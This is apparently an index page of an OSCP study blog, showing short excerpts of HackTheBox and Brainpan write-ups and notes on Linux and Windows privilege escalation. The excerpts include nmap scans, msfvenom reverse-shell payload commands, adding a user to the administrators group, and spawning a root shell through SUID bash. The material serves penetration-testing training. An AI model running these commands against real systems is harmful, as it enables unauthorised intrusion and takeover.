OSCP | wirem0nster's infosec log

solidstate

Dec 10, 2020 TJNull's List

Introduction: Recon nmap scan eneloop@kinetic:…/hackthebox/solidstate/data$ sudo nmap -sS -sC -sV -O -T4 -Pn -oN nmap.solidstate.txt 10.10.10.51 Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-23 09:27 …

valentine

Dec 10, 2020 TJNull's List

Introduction: Recon eneloop@kinetic:…/hackthebox/valentine/data$ sudo nmap -sS -sC -sV -O -T4 -Pn -oN nmap.valentine.txt 10.10.10.79 [sudo] password for eneloop: Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at …

Enumeration on Linux

Dec 6, 2020 tips linux enumeration

OSCP Notes Tools Linux Smart Enumeration https://github.com/diego-treitos/linux-smart-enumeration LinEnum https://github.com/rebootuser/LinEnum Notes: This allows to also search for passwords in files, also can export interesting files for further analysis Linux Priv Checker …

Privilege Escalation on Linux

Dec 6, 2020 tips linux PrivEsc

OSCP Notes Tools for enumeration PowerUp (https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1) sharpUp (https://github.com/GhostPack/SharpUp) - Useful when powershell is not available sharpUp - Pre-compiled …

Privilege Escalation on Linux

Dec 6, 2020 tips linux PrivEsc

OSCP Notes Find executable files with suid or sgid bit set Example: If you have /bin/bash with such permissions, you could easily spawn a root shell with -p option msfvenom command to generate executable elf file for reverse shell 1$msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf …

Privilege Escalation on Linux

Dec 6, 2020 tips windows PrivEsc

OSCP Notes msfvenom to spawn rev shell on windows - #msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your host> LPORT=<your port> -f exe -o revshell.exe Adding user to Admin group - net localgroup administrators <username> /add PsExec tool - to escalate from admin user to full SYSTEM privs - …

Brainpan1 - Buffer Overflow

Dec 1, 2020 buffer overflow wine mona immunity debugger

Recon Let’s get started with the nmap scan. 1# nmap -Pn -A -T4 -oN brainpan1.nmap.txt 10.10.20.69 2Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. 3Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-01 16:24 EST 4Nmap scan report for 10.10.20.69 5Host is up …